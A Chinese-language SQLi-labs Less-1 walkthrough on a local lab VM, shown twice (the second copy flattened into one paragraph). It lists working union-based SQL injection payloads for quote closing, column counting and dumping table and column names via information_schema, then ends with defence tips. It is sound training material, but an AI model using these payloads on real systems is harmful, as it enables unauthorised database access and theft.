SQLi-labs学习sql注入(一)
字数 1756 2025-09-01 11:26:04

SQL注入基础教程:基于SQLi-labs的第一关实战

一、环境准备

  1. PHPStudy环境

    • 下载地址:https://old.xp.cn/download.html
    • 支持2018或最新v8.1版本
    • 安装在Windows7虚拟机(IP:192.168.128.132)
  2. SQLi-labs靶场

    • GitHub下载:https://github.com/Audi-1/sqli-labs
    • 解压到PHPStudy网站根目录下的sqlilabs文件夹
    • 修改数据库连接配置与PHPStudy的MySQL密码一致

二、第一关注入实战

1. 确定注入点

  • 访问URL:http://192.168.128.132/sqlilabs/less-1/
  • 测试参数:?id=1?id=2都能正常返回不同结果
  • 结论:id参数被代入SQL执行,存在注入点

2. 判断注入类型

  • 测试字符型注入
    • 访问:?id=1' → 页面报错
    • 访问:?id=1' --+ → 页面正常显示
  • 结论:存在字符型注入
    • --+被浏览器转换为-- (注释符)
    • 单引号与源码中的引号形成闭合

3. 确定列数

  • 使用order by子句:
    • ?id=1' order by 4--+ → 报错"unknown column 4"
    • ?id=1' order by 3--+ → 正常显示
  • 结论:表中共有3列

4. 确定显示位

  • 使用联合查询:
    • ?id=-1' union select 1,2,3--+
    • 结果显示2和3 → 第2、3列为显示位
  • 技巧:使用负值或不存在值使前查询无结果

5. 获取数据库信息

  • 版本信息:?id=-2' union select 1,version(),database()--+
    • version():数据库版本
    • database():当前数据库名(本例为"security")

6. 爆破表名

  • 利用information_schema数据库:
    • ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+
    • group_concat():将多行结果合并为字符串
    • 结果:显示security库中的所有表名

7. 爆破字段名

  • 针对users表:
    • ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+
    • 结果:显示users表的所有字段名

三、技术原理分析

1. 源码分析

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • PHP双引号字符串会解析$id变量
  • 注入构造:
    • 正常:id=1WHERE id='1'
    • 注入:id=1' --+WHERE id='1' -- ' LIMIT...
    • -- 注释掉后续语句

2. 关键函数

  • concat():单行多列拼接
  • group_concat():多行单列拼接
  • version()/database():系统信息函数

3. information_schema结构

  • tables表:
    • table_schema:数据库名
    • table_name:表名
  • columns表:
    • table_schema:数据库名
    • table_name:表名
    • column_name:字段名

四、注意事项

  1. URL编码:

    • +会被浏览器转换为空格
    • 特殊字符需要URL编码
  2. PHP字符串处理:

    • 双引号字符串会解析变量
    • 单引号字符串保持原样
  3. MySQL注释:

    • -- 必须带空格
    • #也可作为注释符
  4. 闭合技巧:

    • 字符型注入需要闭合引号
    • 数值型注入可直接注入

五、防御建议

  1. 使用预处理语句
  2. 对输入进行严格过滤
  3. 最小权限原则
  4. 关闭错误回显
  5. 使用WAF防护

通过本教程,您已掌握基本的SQL注入检测方法和利用技术,后续可继续研究其他类型的SQL注入和高级利用技术。

SQL注入基础教程:基于SQLi-labs的第一关实战 一、环境准备 PHPStudy环境 : 下载地址:https://old.xp.cn/download.html 支持2018或最新v8.1版本 安装在Windows7虚拟机(IP:192.168.128.132) SQLi-labs靶场 : GitHub下载:https://github.com/Audi-1/sqli-labs 解压到PHPStudy网站根目录下的sqlilabs文件夹 修改数据库连接配置与PHPStudy的MySQL密码一致 二、第一关注入实战 1. 确定注入点 访问URL: http://192.168.128.132/sqlilabs/less-1/ 测试参数: ?id=1 和 ?id=2 都能正常返回不同结果 结论:id参数被代入SQL执行,存在注入点 2. 判断注入类型 测试字符型注入 : 访问: ?id=1' → 页面报错 访问: ?id=1' --+ → 页面正常显示 结论 :存在字符型注入 --+ 被浏览器转换为 -- (注释符) 单引号与源码中的引号形成闭合 3. 确定列数 使用 order by 子句: ?id=1' order by 4--+ → 报错"unknown column 4" ?id=1' order by 3--+ → 正常显示 结论 :表中共有3列 4. 确定显示位 使用联合查询: ?id=-1' union select 1,2,3--+ 结果显示2和3 → 第2、3列为显示位 技巧 :使用负值或不存在值使前查询无结果 5. 获取数据库信息 版本信息: ?id=-2' union select 1,version(),database()--+ version() :数据库版本 database() :当前数据库名(本例为"security") 6. 爆破表名 利用information_ schema数据库: ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+ group_concat() :将多行结果合并为字符串 结果:显示security库中的所有表名 7. 爆破字段名 针对users表: ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+ 结果:显示users表的所有字段名 三、技术原理分析 1. 源码分析 PHP双引号字符串会解析 $id 变量 注入构造: 正常: id=1 → WHERE id='1' 注入: id=1' --+ → WHERE id='1' -- ' LIMIT... -- 注释掉后续语句 2. 关键函数 concat() :单行多列拼接 group_concat() :多行单列拼接 version() / database() :系统信息函数 3. information_ schema结构 tables 表: table_ schema:数据库名 table_ name:表名 columns 表: table_ schema:数据库名 table_ name:表名 column_ name:字段名 四、注意事项 URL编码: + 会被浏览器转换为空格 特殊字符需要URL编码 PHP字符串处理: 双引号字符串会解析变量 单引号字符串保持原样 MySQL注释: -- 必须带空格 # 也可作为注释符 闭合技巧: 字符型注入需要闭合引号 数值型注入可直接注入 五、防御建议 使用预处理语句 对输入进行严格过滤 最小权限原则 关闭错误回显 使用WAF防护 通过本教程,您已掌握基本的SQL注入检测方法和利用技术,后续可继续研究其他类型的SQL注入和高级利用技术。